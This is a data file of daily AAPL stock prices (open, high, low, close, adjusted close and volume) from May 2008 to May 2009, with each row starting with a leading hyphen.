-2008-05-12,26.45857048034668,26.981428146362305,26.121429443359375,26.8799991607666,23.3883113861084,204640800.0,AAPL
-2008-05-13,26.944286346435547,27.350000381469727,26.837142944335938,27.137142181396484,23.612049102783203,205809100.0,AAPL
-2008-05-14,27.318571090698242,27.46285629272461,26.510000228881836,26.608572006225586,23.152143478393555,229205900.0,AAPL
-2008-05-15,26.687143325805664,27.128570556640625,26.314285278320312,27.104286193847656,23.58346176147461,218302000.0,AAPL
-2008-05-16,27.158571243286133,27.185714721679688,26.714284896850586,26.8028564453125,23.32118797302246,191442300.0,AAPL
-2008-05-19,26.837142944335938,26.95571517944336,25.899999618530273,26.22857093811035,22.821502685546875,236455100.0,AAPL
-2008-05-20,25.974285125732422,26.59428596496582,25.731428146362305,26.55714225769043,23.10740089416504,242462500.0,AAPL
-2008-05-21,26.5242862701416,26.850000381469727,25.178571701049805,25.45571517944336,22.149036407470703,289414300.0,AAPL
-2008-05-22,25.608572006225586,25.904285430908203,24.571428298950195,25.292856216430664,22.007339477539062,301683900.0,AAPL
-2008-05-23,25.82428550720215,25.998571395874023,25.399999618530273,25.881427764892578,22.519453048706055,226729300.0,AAPL
-2008-05-27,26.10714340209961,26.632856369018555,25.977142333984375,26.632856369018555,23.17327308654785,197476300.0,AAPL
-2008-05-28,26.772857666015625,26.850000381469727,26.24571418762207,26.715713500976562,23.2453670501709,185994900.0,AAPL
-2008-05-29,26.68000030517578,26.885713577270508,26.5,26.670000076293945,23.205589294433594,161796600.0,AAPL
-2008-05-30,26.77857208251953,27.0771427154541,26.768571853637695,26.964284896850586,23.461652755737305,152546100.0,AAPL
-2008-06-02,26.94285774230957,27.092857360839844,26.36142921447754,26.58571434020996,23.132261276245117,169960000.0,AAPL
-2008-06-03,26.694286346435547,26.885713577270508,26.04857063293457,26.481428146362305,23.041507720947266,187630100.0,AAPL
-2008-06-04,26.288572311401367,26.727142333984375,26.17571449279785,26.45571517944336,23.019142150878906,181745900.0,AAPL
-2008-06-05,26.6200008392334,27.1200008392334,26.52857208251953,27.06142807006836,23.546171188354492,188861400.0,AAPL
-2008-06-06,26.85714340209961,27.135713577270508,26.507143020629883,26.520000457763672,23.075077056884766,241605700.0,AAPL
-2008-06-09,26.398571014404297,26.420000076293945,25.10714340209961,25.944286346435547,22.57415199279785,472098200.0,AAPL
-2008-06-10,25.78714370727539,26.682857513427734,25.57428550720215,26.520000457763672,23.075077056884766,285235300.0,AAPL
-2008-06-11,26.334285736083984,26.571428298950195,25.65571403503418,25.829999923706055,22.474700927734375,240387700.0,AAPL
-2008-06-12,25.927143096923828,26.08571434020996,24.457143783569336,24.751428604125977,21.536239624023438,327083400.0,AAPL
-2008-06-13,24.520000457763672,24.8799991607666,23.61571502685547,24.624286651611328,21.425613403320312,336489300.0,AAPL
-2008-06-16,24.47142791748047,25.41428565979004,24.152856826782227,25.26285743713379,21.981237411499023,262932600.0,AAPL
-2008-06-17,25.44285774230957,25.998571395874023,25.34428596496582,25.91857147216797,22.55177879333496,224914200.0,AAPL
-2008-06-18,25.874286651611328,26.02857208251953,25.33571434020996,25.535715103149414,22.21864891052246,202867000.0,AAPL
-2008-06-19,25.507143020629883,26.04857063293457,25.257143020629883,25.842857360839844,22.48589515686035,197987300.0,AAPL
-2008-06-20,25.621429443359375,25.85714340209961,25.0,25.038572311401367,21.786083221435547,222091800.0,AAPL
-2008-06-23,24.96285629272461,25.125713348388672,24.50857162475586,24.73714256286621,21.523807525634766,161445200.0,AAPL
-2008-06-24,24.624286651611328,25.11142921447754,24.518571853637695,24.75,21.534997940063477,155486800.0,AAPL
-2008-06-25,24.944286346435547,25.547142028808594,24.84000015258789,25.341428756713867,22.049606323242188,161112700.0,AAPL
-2008-06-26,24.867143630981445,24.977142333984375,24.001428604125977,24.03714370727539,20.914749145507812,217402500.0,AAPL
-2008-06-27,23.78714370727539,24.367143630981445,23.450000762939453,24.29857063293457,21.142208099365234,260562400.0,AAPL
-2008-06-30,24.312856674194336,24.571428298950195,23.8028564453125,23.920000076293945,20.812816619873047,171049200.0,AAPL
-2008-07-01,23.461427688598633,24.959999084472656,23.428571701049805,24.954286575317383,21.71274185180664,277820200.0,AAPL
-2008-07-02,25.02857208251953,25.350000381469727,24.025714874267578,24.025714874267578,20.904796600341797,209379800.0,AAPL
-2008-07-03,24.227142333984375,24.595714569091797,23.678571701049805,24.3028564453125,21.14594078063965,130840500.0,AAPL
-2008-07-07,24.73714256286621,25.304285049438477,24.55714225769043,25.022857666015625,21.772411346435547,205097900.0,AAPL
-2008-07-08,25.05714225769043,25.671428680419922,24.677143096923828,25.649999618530273,22.31808853149414,222087600.0,AAPL
-2008-07-09,25.742856979370117,25.84428596496582,24.87714195251465,24.89285659790039,21.659297943115234,223944000.0,AAPL
-2008-07-10,24.988571166992188,25.334285736083984,24.481428146362305,25.23285675048828,21.955129623413086,210172200.0,AAPL
-2008-07-11,25.067142486572266,25.301427841186523,24.428571701049805,24.654285430908203,21.451723098754883,232502900.0,AAPL
-2008-07-14,25.605714797973633,25.614286422729492,24.7257137298584,24.84000015258789,21.613306045532227,221513600.0,AAPL
-2008-07-15,24.639999389648438,24.81999969482422,23.770000457763672,24.234285354614258,21.086273193359375,260010800.0,AAPL
-2008-07-16,24.314285278320312,24.704286575317383,24.08571434020996,24.687143325805664,21.48030662536621,186947600.0,AAPL
-2008-07-17,24.871429443359375,24.997142791748047,24.484285354614258,24.54428482055664,21.355998992919922,189381500.0,AAPL
-2008-07-18,24.07428550720215,24.235713958740234,23.571428298950195,23.592857360839844,20.52816390991211,217103600.0,AAPL
-2008-07-21,23.842857360839844,23.928571701049805,23.01714324951172,23.755714416503906,20.66986656188965,340117400.0,AAPL
-2008-07-22,21.285715103149414,23.251428604125977,20.932857513427734,23.145713806152344,20.139102935791016,469898100.0,AAPL
-2008-07-23,23.56999969482422,24.0528564453125,23.079999923706055,23.751428604125977,20.6661434173584,265442100.0,AAPL
-2008-07-24,23.474285125732422,23.608572006225586,22.635713577270508,22.718570709228516,19.76744842529297,209904800.0,AAPL
-2008-07-25,22.91428565979004,23.285715103149414,22.66428565979004,23.15999984741211,20.151535034179688,158409300.0,AAPL
-2008-07-28,23.191429138183594,23.209999084472656,22.002857208251953,22.05714225769043,19.191944122314453,195178200.0,AAPL
-2008-07-29,22.20142936706543,22.77857208251953,21.950000762939453,22.440000534057617,19.525068283081055,171017700.0,AAPL
-2008-07-30,22.540000915527344,22.927143096923828,22.297142028808594,22.84000015258789,19.873106002807617,181295800.0,AAPL
-2008-07-31,22.505714416503906,23.171428680419922,22.42571449279785,22.707143783569336,19.75750732421875,159374600.0,AAPL
-2008-08-01,22.842857360839844,22.855714797973633,22.25,22.3799991607666,19.472854614257812,136159800.0,AAPL
-2008-08-04,22.371429443359375,22.55714225769043,21.84428596496582,21.889999389648438,19.046506881713867,148131900.0,AAPL
-2008-08-05,22.202857971191406,22.97142791748047,22.117143630981445,22.948572158813477,19.967575073242188,172092900.0,AAPL
-2008-08-06,22.85285758972168,23.91428565979004,22.571428298950195,23.45571517944336,20.40884017944336,197852200.0,AAPL
-2008-08-07,23.244285583496094,23.735713958740234,23.071428298950195,23.367143630981445,20.33177375793457,168093100.0,AAPL
-2008-08-08,23.408571243286133,24.235713958740234,23.39285659790039,24.22142791748047,21.075084686279297,178499300.0,AAPL
-2008-08-11,24.295713424682617,25.214284896850586,24.238571166992188,24.79428482055664,21.573528289794922,222826100.0,AAPL
-2008-08-12,24.788572311401367,25.612857818603516,24.78714370727539,25.247142791748047,21.96756362915039,209069700.0,AAPL
-2008-08-13,25.42571449279785,25.714284896850586,25.128570556640625,25.614286422729492,22.287019729614258,210586600.0,AAPL
-2008-08-14,25.4757137298584,25.77857208251953,25.40571403503418,25.617143630981445,22.28949546813965,177825200.0,AAPL
-2008-08-15,25.5771427154541,25.678571701049805,25.007143020629883,25.105714797973633,21.84450340270996,177062900.0,AAPL
-2008-08-18,25.08142852783203,25.40142822265625,24.83142852783203,25.055713653564453,21.801000595092773,138003600.0,AAPL
-2008-08-19,24.93428611755371,25.295713424682617,24.54428482055664,24.790000915527344,21.569799423217773,154051100.0,AAPL
-2008-08-20,24.96714210510254,25.277143478393555,24.801427841186523,25.1200008392334,21.856935501098633,126737800.0,AAPL
-2008-08-21,24.924285888671875,25.064285278320312,24.555713653564453,24.898571014404297,21.66427230834961,134936200.0,AAPL
-2008-08-22,25.117143630981445,25.35714340209961,25.08142852783203,25.255714416503906,21.97501564025879,109902800.0,AAPL
-2008-08-25,25.16428565979004,25.17571449279785,24.522857666015625,24.649999618530273,21.4479923248291,121106300.0,AAPL
-2008-08-26,24.68000030517578,24.98285675048828,24.658571243286133,24.805713653564453,21.583478927612305,111387500.0,AAPL
-2008-08-27,24.75857162475586,25.108572006225586,24.59857177734375,24.952857971191406,21.71150779724121,119445200.0,AAPL
-2008-08-28,25.040000915527344,25.178571701049805,24.678571701049805,24.81999969482422,21.595909118652344,107846200.0,AAPL
-2008-08-29,24.70857048034668,24.785715103149414,24.148571014404297,24.218570709228516,21.072601318359375,149822400.0,AAPL
-2008-09-02,24.628570556640625,24.785715103149414,23.571428298950195,23.74142837524414,20.65743637084961,195190800.0,AAPL
-2008-09-03,23.834285736083984,24.097143173217773,23.428571701049805,23.851428985595703,20.753150939941406,183708700.0,AAPL
-2008-09-04,23.694286346435547,23.98714256286621,22.972856521606445,23.031429290771484,20.039669036865234,185846500.0,AAPL
-2008-09-05,22.65571403503418,23.200000762939453,22.52142906188965,22.882856369018555,19.910396575927734,196721000.0,AAPL
-2008-09-08,23.510000228881836,23.555713653564453,21.637142181396484,22.559999465942383,19.629474639892578,261494800.0,AAPL
-2008-09-09,22.408571243286133,22.851428985595703,21.398571014404297,21.66857147216797,18.853837966918945,311256400.0,AAPL
-2008-09-10,21.760000228881836,22.141427993774414,21.257143020629883,21.658571243286133,18.845149993896484,243285700.0,AAPL
-2008-09-11,21.16857147216797,21.855714797973633,20.85714340209961,21.80714225769043,18.974416732788086,242783800.0,AAPL
-2008-09-12,21.558570861816406,21.558570861816406,20.928571701049805,21.277143478393555,18.513259887695312,198256800.0,AAPL
-2008-09-15,20.290000915527344,21.09857177734375,20.051427841186523,20.051427841186523,17.446765899658203,230158600.0,AAPL
-2008-09-16,19.12285804748535,20.35714340209961,18.878570556640625,19.98285675048828,17.38709831237793,299959100.0,AAPL
-2008-09-17,19.784286499023438,19.78714370727539,18.261428833007812,18.261428833007812,15.889286041259766,300113800.0,AAPL
-2008-09-18,18.652856826782227,19.347143173217773,17.239999771118164,19.15571403503418,16.667400360107422,419063400.0,AAPL
-2008-09-19,20.371429443359375,20.600000381469727,19.472856521606445,20.1299991607666,17.515134811401367,357718900.0,AAPL
-2008-09-22,19.99142837524414,20.035715103149414,18.665714263916016,18.72142791748047,16.289533615112305,214178300.0,AAPL
-2008-09-23,18.83571434020996,19.399999618530273,18.09428596496582,18.1200008392334,15.766227722167969,320091100.0,AAPL
-2008-09-24,18.181428909301758,18.707143783569336,17.878570556640625,18.387142181396484,15.998677253723145,261753800.0,AAPL
-2008-09-25,18.542856216430664,19.255714416503906,18.360000610351562,18.847143173217773,16.3989200592041,251511400.0,AAPL
-2008-09-26,17.84428596496582,18.542856216430664,17.571428298950195,18.31999969482422,15.9402494430542,281612800.0,AAPL
-2008-09-29,17.088571548461914,17.097143173217773,14.369999885559082,15.037142753601074,13.083832740783691,655514300.0,AAPL
-2008-09-30,15.464285850524902,16.428571701049805,15.185714721679688,16.23714256286621,14.12795639038086,406670600.0,AAPL
-2008-10-01,15.988571166992188,16.051427841186523,15.341428756713867,15.588571548461914,13.563630104064941,324121000.0,AAPL
-2008-10-02,15.430000305175781,15.541428565979004,14.285714149475098,14.300000190734863,12.442442893981934,402341100.0,AAPL
-2008-10-03,14.857142448425293,15.214285850524902,13.521428108215332,13.867142677307129,12.065814018249512,573599600.0,AAPL
-2008-10-06,13.1371431350708,14.111428260803223,12.505714416503906,14.020000457763672,12.19881534576416,526854300.0,AAPL
-2008-10-07,14.35428524017334,14.5,12.70714282989502,12.737142562866211,11.082599639892578,469693000.0,AAPL
-2008-10-08,12.272856712341309,13.761428833007812,12.239999771118164,12.827142715454102,11.160909652709961,551935300.0,AAPL
-2008-10-09,13.335714340209961,13.685714721679688,12.371428489685059,12.677143096923828,11.030394554138184,404345900.0,AAPL
-2008-10-10,12.242856979370117,14.285714149475098,12.142857551574707,13.828571319580078,12.032254219055176,554824900.0,AAPL
-2008-10-13,14.935714721679688,15.789999961853027,14.431428909301758,15.751428604125977,13.70533275604248,384769000.0,AAPL
-2008-10-14,16.608572006225586,16.628570556640625,14.734285354614258,14.868571281433105,12.93715763092041,495248600.0,AAPL
-2008-10-15,14.834285736083984,15.285714149475098,13.984285354614258,13.992856979370117,12.17519760131836,396043900.0,AAPL
-2008-10-16,14.252857208251953,14.775713920593262,13.105713844299316,14.55571460723877,12.66494083404541,495130300.0,AAPL
-2008-10-17,14.228571891784668,14.577142715454102,12.270000457763672,13.914285659790039,12.106832504272461,440556900.0,AAPL
-2008-10-20,14.25428581237793,14.289999961853027,13.377142906188965,14.062856674194336,12.236106872558594,387292500.0,AAPL
-2008-10-21,13.850000381469727,13.985713958740234,13.022856712341309,13.069999694824219,11.372220993041992,548415000.0,AAPL
-2008-10-22,13.90999984741211,14.464285850524902,13.275713920593262,13.838571548461914,12.04095458984375,562202200.0,AAPL
-2008-10-23,13.787142753601074,14.178571701049805,13.128571510314941,14.032856941223145,12.210002899169922,418857600.0,AAPL
-2008-10-24,12.904285430908203,13.985713958740234,12.872857093811035,13.768571853637695,11.980048179626465,397514600.0,AAPL
-2008-10-27,13.581428527832031,13.947142601013184,13.122857093811035,13.15571403503418,11.446798324584961,302192800.0,AAPL
-2008-10-28,13.632857322692871,14.357142448425293,13.195713996887207,14.272856712341309,12.41882610321045,408533300.0,AAPL
-2008-10-29,14.408571243286133,15.648571014404297,14.277142524719238,14.935714721679688,12.99557876586914,487744600.0,AAPL
-2008-10-30,15.46142864227295,16.027143478393555,15.372857093811035,15.8628568649292,13.802287101745605,409522400.0,AAPL
-2008-10-31,15.342857360839844,15.825714111328125,15.020000457763672,15.369999885559082,13.373451232910156,414939000.0,AAPL
-2008-11-03,15.132857322692871,15.585714340209961,14.979999542236328,15.279999732971191,13.29514217376709,264484500.0,AAPL
-2008-11-04,15.712857246398926,15.970000267028809,15.238571166992188,15.855713844299316,13.79607105255127,349670300.0,AAPL
-2008-11-05,15.558571815490723,15.674285888671875,14.712857246398926,14.757143020629883,12.840202331542969,314113800.0,AAPL
-2008-11-06,14.435714721679688,14.682857513427734,14.0,14.157142639160156,12.318142890930176,329768600.0,AAPL
-2008-11-07,14.177143096923828,14.264286041259766,13.674285888671875,14.034285545349121,12.211246490478516,273813400.0,AAPL
-2008-11-10,14.3100004196167,14.342857360839844,13.5,13.697142601013184,11.917896270751953,280955500.0,AAPL
-2008-11-11,13.544285774230957,13.881428718566895,13.180000305175781,13.53857135772705,11.779923439025879,306134500.0,AAPL
-2008-11-12,13.204285621643066,13.319999694824219,12.85857105255127,12.874285697937012,11.20192813873291,294744100.0,AAPL
-2008-11-13,12.838571548461914,13.777142524719238,12.28857135772705,13.777142524719238,11.987505912780762,463521800.0,AAPL
-2008-11-14,13.394286155700684,13.427143096923828,12.857142448425293,12.89142894744873,11.21684455871582,351316700.0,AAPL
-2008-11-17,12.640000343322754,12.935714721679688,12.465714454650879,12.591428756713867,10.955816268920898,290631600.0,AAPL
-2008-11-18,12.80571460723877,12.998571395874023,12.408571243286133,12.84428596496582,11.175825119018555,302423800.0,AAPL
-2008-11-19,12.777142524719238,13.082857131958008,12.315713882446289,12.327142715454102,10.725861549377441,292975200.0,AAPL
-2008-11-20,12.177143096923828,12.350000381469727,11.428571701049805,11.498571395874023,10.00491714477539,429203600.0,AAPL
-2008-11-21,11.704285621643066,12.017143249511719,11.30571460723877,11.79714298248291,10.264704704284668,392317800.0,AAPL
-2008-11-24,12.172857284545898,13.541428565979004,12.119999885559082,13.278571128845215,11.55370044708252,360564400.0,AAPL
-2008-11-25,13.518571853637695,13.529999732971191,12.59428596496582,12.971428871154785,11.28645133972168,308823200.0,AAPL
-2008-11-26,12.845714569091797,13.607142448425293,12.835714340209961,13.571428298950195,11.808513641357422,224959000.0,AAPL
-2008-11-28,13.528571128845215,13.537142753601074,13.122857093811035,13.238571166992188,11.518895149230957,74443600.0,AAPL
-2008-12-01,13.04285717010498,13.181428909301758,12.70285701751709,12.704285621643066,11.054010391235352,230941900.0,AAPL
-2008-12-02,12.861428260803223,13.235713958740234,12.357142448425293,13.210000038146973,11.494033813476562,287180600.0,AAPL
-2008-12-03,12.771428108215332,13.747142791748047,12.685714721679688,13.699999809265137,11.920384407043457,334670000.0,AAPL
-2008-12-04,13.489999771118164,13.601428985595703,12.722857475280762,13.058571815490723,11.362272262573242,272842500.0,AAPL
-2008-12-05,12.907142639160156,13.498571395874023,12.69428539276123,13.428571701049805,11.684212684631348,260948800.0,AAPL
-2008-12-08,13.89714241027832,14.399999618530273,13.685714721679688,14.24571418762207,12.395209312438965,296285500.0,AAPL
-2008-12-09,14.005714416503906,14.800000190734863,13.8871431350708,14.294285774230957,12.437471389770508,300874000.0,AAPL
-2008-12-10,13.981428146362305,14.212857246398926,13.785714149475098,14.029999732971191,12.20751667022705,234511900.0,AAPL
-2008-12-11,13.907142639160156,14.462857246398926,13.54714298248291,13.571428298950195,11.808513641357422,260154300.0,AAPL
-2008-12-12,13.257143020629883,14.142857551574707,13.218571662902832,14.03857135772705,12.214971542358398,260293600.0,AAPL
-2008-12-15,13.712857246398926,13.744285583496094,13.285714149475098,13.535714149475098,11.777436256408691,222939500.0,AAPL
-2008-12-16,13.425714492797852,13.782856941223145,13.25,13.632857322692871,11.861961364746094,273376600.0,AAPL
-2008-12-17,13.00428581237793,13.014286041259766,12.574285507202148,12.737142562866211,11.082599639892578,323465100.0,AAPL
-2008-12-18,12.75857162475586,12.975714683532715,12.634285926818848,12.775713920593262,11.11616039276123,214354000.0,AAPL
-2008-12-19,12.84857177734375,12.99142837524414,12.685714721679688,12.857142448425293,11.18701457977295,200480000.0,AAPL
-2008-12-22,12.859999656677246,12.861428260803223,12.09857177734375,12.248571395874023,10.657491683959961,211185100.0,AAPL
-2008-12-23,12.40999984741211,12.552857398986816,12.271428108215332,12.34000015258789,10.737046241760254,158757900.0,AAPL
-2008-12-24,12.30571460723877,12.321428298950195,12.078571319580078,12.148571014404297,10.57048225402832,67833500.0,AAPL
-2008-12-26,12.377142906188965,12.488571166992188,12.177143096923828,12.25857162475586,10.666194915771484,77081200.0,AAPL
-2008-12-29,12.359999656677246,12.517143249511719,12.152856826782227,12.372857093811035,10.765633583068848,171500000.0,AAPL
-2008-12-30,12.488571166992188,12.578571319580078,12.10285758972168,12.327142715454102,10.725861549377441,241900400.0,AAPL
-2008-12-31,12.281428337097168,12.534285545349121,12.191428184509277,12.192856788635254,10.609017372131348,151885300.0,AAPL
-2009-01-02,12.268571853637695,13.005714416503906,12.165714263916016,12.964285850524902,11.280237197875977,186503800.0,AAPL
-2009-01-05,13.3100004196167,13.739999771118164,13.244285583496094,13.511428833007812,11.756305694580078,295402100.0,AAPL
-2009-01-06,13.70714282989502,13.881428718566895,13.19857120513916,13.28857135772705,11.562398910522461,322327600.0,AAPL
-2009-01-07,13.115714073181152,13.214285850524902,12.894286155700684,13.001428604125977,11.312555313110352,188262200.0,AAPL
-2009-01-08,12.918571472167969,13.307143211364746,12.8628568649292,13.242856979370117,11.52262020111084,168375200.0,AAPL
-2009-01-09,13.315713882446289,13.34000015258789,12.877142906188965,12.9399995803833,11.25910758972168,136711400.0,AAPL
-2009-01-12,12.922857284545898,12.998571395874023,12.507143020629883,12.665714263916016,11.0204496383667,154429100.0,AAPL
-2009-01-13,12.605713844299316,12.819999694824219,12.335714340209961,12.529999732971191,10.902366638183594,199599400.0,AAPL
-2009-01-14,12.319999694824219,12.464285850524902,12.10285758972168,12.1899995803833,10.606528282165527,255416000.0,AAPL
-2009-01-15,11.510000228881836,12.017143249511719,11.435714721679688,11.911428451538086,10.364144325256348,457908500.0,AAPL
-2009-01-16,12.04285717010498,12.054286003112793,11.485713958740234,11.761428833007812,10.233630180358887,261906400.0,AAPL
-2009-01-20,11.704285621643066,11.714285850524902,11.171428680419922,11.171428680419922,9.720270156860352,229978700.0,AAPL
-2009-01-21,11.341428756713867,11.84000015258789,11.329999923706055,11.832857131958008,10.295780181884766,272317500.0,AAPL
-2009-01-22,12.577142715454102,12.857142448425293,12.260000228881836,12.622857093811035,10.983160972595215,352382100.0,AAPL
-2009-01-23,12.402856826782227,12.838571548461914,12.357142448425293,12.622857093811035,10.983160972595215,190942500.0,AAPL
-2009-01-26,12.69428539276123,12.99571418762207,12.614285469055176,12.80571460723877,11.142265319824219,173059600.0,AAPL
-2009-01-27,12.884285926818848,13.078571319580078,12.819999694824219,12.96142864227295,11.277750968933105,154509600.0,AAPL
-2009-01-28,13.15999984741211,13.571428298950195,13.071428298950195,13.45714282989502,11.70907211303711,215351500.0,AAPL
-2009-01-29,13.298571586608887,13.477143287658691,13.228571891784668,13.285714149475098,11.55991268157959,148182300.0,AAPL
-2009-01-30,13.228571891784668,13.374285697937012,12.85857105255127,12.875714302062988,11.203171730041504,162869700.0,AAPL
-2009-02-02,12.728571891784668,13.142857551574707,12.699999809265137,13.072856903076172,11.374706268310547,139561800.0,AAPL
-2009-02-03,13.131428718566895,13.34000015258789,12.89714241027832,13.282856941223145,11.557426452636719,149827300.0,AAPL
-2009-02-04,13.317142486572266,13.75,13.300000190734863,13.364285469055176,11.628278732299805,202105400.0,AAPL
-2009-02-05,13.252857208251953,13.892857551574707,13.231428146362305,13.779999732971191,11.989989280700684,187311600.0,AAPL
-2009-02-06,13.859999656677246,14.285714149475098,13.857142448425293,14.24571418762207,12.395209312438965,171802400.0,AAPL
-2009-02-09,14.285714149475098,14.714285850524902,14.214285850524902,14.644286155700684,12.742009162902832,178752700.0,AAPL
-2009-02-10,14.475714683532715,14.644286155700684,13.865714073181152,13.975714683532715,12.16028118133545,212265200.0,AAPL
-2009-02-11,13.767143249511719,14.044285774230957,13.681428909301758,13.831428527832031,12.034738540649414,168743400.0,AAPL
-2009-02-12,13.6899995803833,14.25,13.6899995803833,14.181428909301758,12.339273452758789,204297100.0,AAPL
-2009-02-13,14.14142894744873,14.277142524719238,14.017143249511719,14.165714263916016,12.325603485107422,152244400.0,AAPL
-2009-02-17,13.838571548461914,13.8628568649292,13.468571662902832,13.50428581237793,11.750090599060059,169559600.0,AAPL
-2009-02-18,13.578571319580078,13.692856788635254,13.24571418762207,13.481428146362305,11.730201721191406,171194800.0,AAPL
-2009-02-19,13.338571548461914,13.464285850524902,12.872857093811035,12.94857120513916,11.26656436920166,230701100.0,AAPL
-2009-02-20,12.771428108215332,13.199999809265137,12.714285850524902,13.028571128845215,11.336175918579102,187579000.0,AAPL
-2009-02-23,13.092857360839844,13.142857551574707,12.35857105255127,12.421428680419922,10.80789852142334,196745500.0,AAPL
-2009-02-24,12.492856979370117,12.984285354614258,12.428571701049805,12.892857551574707,11.218087196350098,201776400.0,AAPL
-2009-02-25,12.837142944335938,13.274285316467285,12.75,13.022856712341309,11.331196784973145,208263300.0,AAPL
-2009-02-26,13.142857551574707,13.274285316467285,12.708571434020996,12.74142837524414,11.08633041381836,157467100.0,AAPL
-2009-02-27,12.561429023742676,13.04285717010498,12.524285316467285,12.75857162475586,11.101242065429688,176664600.0,AAPL
-2009-03-02,12.588571548461914,13.028571128845215,12.524285316467285,12.562856674194336,10.930953025817871,192732400.0,AAPL
-2009-03-03,12.704285621643066,12.962857246398926,12.554286003112793,12.624285697937012,10.984400749206543,181085100.0,AAPL
-2009-03-04,12.882857322692871,13.252857208251953,12.778571128845215,13.024285316467285,11.332444190979004,185350900.0,AAPL
-2009-03-05,12.922857284545898,13.124285697937012,12.635714530944824,12.691428184509277,11.042821884155273,176724800.0,AAPL
-2009-03-06,12.619999885559082,12.628571510314941,11.761428833007812,12.185714721679688,10.602801322937012,252786800.0,AAPL
-2009-03-09,12.025713920593262,12.514286041259766,11.795714378356934,11.872857093811035,10.330583572387695,174574400.0,AAPL
-2009-03-10,12.124285697937012,12.738571166992188,12.05142879486084,12.661428451538086,11.01672077178955,211064700.0,AAPL
-2009-03-11,12.829999923706055,13.438570976257324,12.79714298248291,13.239999771118164,11.520136833190918,211593200.0,AAPL
-2009-03-12,13.271428108215332,13.79714298248291,13.142857551574707,13.764286041259766,11.976319313049316,192114300.0,AAPL
-2009-03-13,13.757143020629883,13.885714530944824,13.572856903076172,13.704285621643066,11.924113273620605,150292100.0,AAPL
-2009-03-16,13.789999961853027,13.912857055664062,13.454285621643066,13.631428718566895,11.860719680786133,199311000.0,AAPL
-2009-03-17,13.605713844299316,14.24142837524414,13.581428527832031,14.237142562866211,12.387749671936035,196661500.0,AAPL
-2009-03-18,14.272856712341309,14.782856941223145,14.24571418762207,14.502857208251953,12.618947982788086,199009300.0,AAPL
-2009-03-19,14.550000190734863,14.742856979370117,14.321428298950195,14.517143249511719,12.631378173828125,125045200.0,AAPL
-2009-03-20,14.584285736083984,14.729999542236328,14.367142677307129,14.512857437133789,12.627650260925293,173896800.0,AAPL
-2009-03-23,14.672857284545898,15.451428413391113,14.535714149475098,15.380000114440918,13.382150650024414,166599300.0,AAPL
-2009-03-24,15.19428539276123,15.634285926818848,15.05571460723877,15.214285850524902,13.23796558380127,160153000.0,AAPL
-2009-03-25,15.368571281433105,15.479999542236328,14.837142944335938,15.212857246398926,13.236722946166992,161654500.0,AAPL
-2009-03-26,15.404285430908203,15.71142864227295,15.368571281433105,15.695713996887207,13.656853675842285,154063000.0,AAPL
-2009-03-27,15.46142864227295,15.50428581237793,15.199999809265137,15.264286041259766,13.281468391418457,123218200.0,AAPL
-2009-03-30,14.930000305175781,15.001428604125977,14.658571243286133,14.927143096923828,12.988123893737793,125699000.0,AAPL
-2009-03-31,15.064285278320312,15.350000381469727,15.0,15.017143249511719,13.066431999206543,142520000.0,AAPL
-2009-04-01,14.869999885559082,15.571428298950195,14.841428756713867,15.527142524719238,13.510181427001953,147343000.0,AAPL
-2009-04-02,15.734285354614258,16.39285659790039,15.682857513427734,16.101428985595703,14.009868621826172,203091700.0,AAPL
-2009-04-03,16.312856674194336,16.59000015258789,16.21714210510254,16.56999969482422,14.417572021484375,159060300.0,AAPL
-2009-04-06,16.420000076293945,16.964284896850586,16.182857513427734,16.921428680419922,14.723349571228027,164516100.0,AAPL
-2009-04-07,16.64714241027832,16.667142868041992,16.312856674194336,16.428571701049805,14.294515609741211,134145200.0,AAPL
-2009-04-08,16.489999771118164,16.68428611755371,16.368572235107422,16.617143630981445,14.45859146118164,113907500.0,AAPL
-2009-04-09,16.917142868041992,17.14285659790039,16.851428985595703,17.08142852783203,14.862565040588379,132689200.0,AAPL
-2009-04-13,17.144285202026367,17.28285789489746,17.0,17.174285888671875,14.943364143371582,97309100.0,AAPL
-2009-04-14,17.08142852783203,17.167142868041992,16.75,16.90142822265625,14.705946922302246,113655500.0,AAPL
-2009-04-15,16.742856979370117,16.89285659790039,16.53714370727539,16.805713653564453,14.622668266296387,103220600.0,AAPL
-2009-04-16,17.027143478393555,17.592857360839844,16.969999313354492,17.350000381469727,15.096248626708984,148361500.0,AAPL
-2009-04-17,17.31142807006836,17.75,17.178571701049805,17.631427764892578,15.341123580932617,124373900.0,AAPL
-2009-04-20,17.389999389648438,17.56999969482422,17.022857666015625,17.214284896850586,14.978166580200195,116616500.0,AAPL
-2009-04-21,16.984285354614258,17.448572158813477,16.94285774230957,17.394285202026367,15.134781837463379,117671400.0,AAPL
-2009-04-22,17.518571853637695,17.907142639160156,17.314285278320312,17.358572006225586,15.103704452514648,234691800.0,AAPL
-2009-04-23,18.088571548461914,18.171428680419922,17.644285202026367,17.91428565979004,15.587236404418945,236289200.0,AAPL
-2009-04-24,17.805713653564453,17.87714195251465,17.567142486572266,17.700000762939453,15.400788307189941,135191000.0,AAPL
-2009-04-27,17.55714225769043,17.85714340209961,17.522857666015625,17.818571090698242,15.503955841064453,120172500.0,AAPL
-2009-04-28,17.621429443359375,18.030000686645508,17.608572006225586,17.700000762939453,15.400788307189941,113964200.0,AAPL
-2009-04-29,17.83571434020996,18.121429443359375,17.690000534057617,17.87714195251465,15.554915428161621,114527700.0,AAPL
-2009-04-30,18.031429290771484,18.14285659790039,17.845714569091797,17.9757137298584,15.640681266784668,124622400.0,AAPL
-2009-05-01,17.97142791748047,18.27857208251953,17.97142791748047,18.177143096923828,15.815953254699707,99379000.0,AAPL
-2009-05-04,18.31999969482422,18.89285659790039,18.239999771118164,18.867143630981445,16.41632080078125,152339600.0,AAPL
-2009-05-05,18.821428298950195,18.979999542236328,18.731428146362305,18.95857048034668,16.495874404907227,99563800.0,AAPL
-2009-05-06,19.047142028808594,19.071428298950195,18.60285758972168,18.928571701049805,16.469772338867188,118384700.0,AAPL
-2009-05-07,18.904285430908203,18.912857055664062,18.27142906188965,18.437143325805664,16.04217529296875,132944000.0,AAPL
-2009-05-08,18.43428611755371,18.747142791748047,18.03714370727539,18.45571517944336,16.058332443237305,116991000.0,AAPL
-2009-05-11,18.195714950561523,18.70857048034668,18.15999984741211,18.510000228881836,16.10556983947754,101164700.0,AAPL
-2009-05-12,18.50857162475586,18.530000686645508,17.60714340209961,17.7742862701416,15.465424537658691,152370400.0,AAPL
-2009-05-13,17.601428985595703,17.71714210510254,17.054285049438477,17.06999969482422,14.852625846862793,148992900.0,AAPL
-2009-05-14,17.11142921447754,17.64714241027832,17.100000381469727,17.564285278320312,15.282700538635254,111956600.0,AAPL
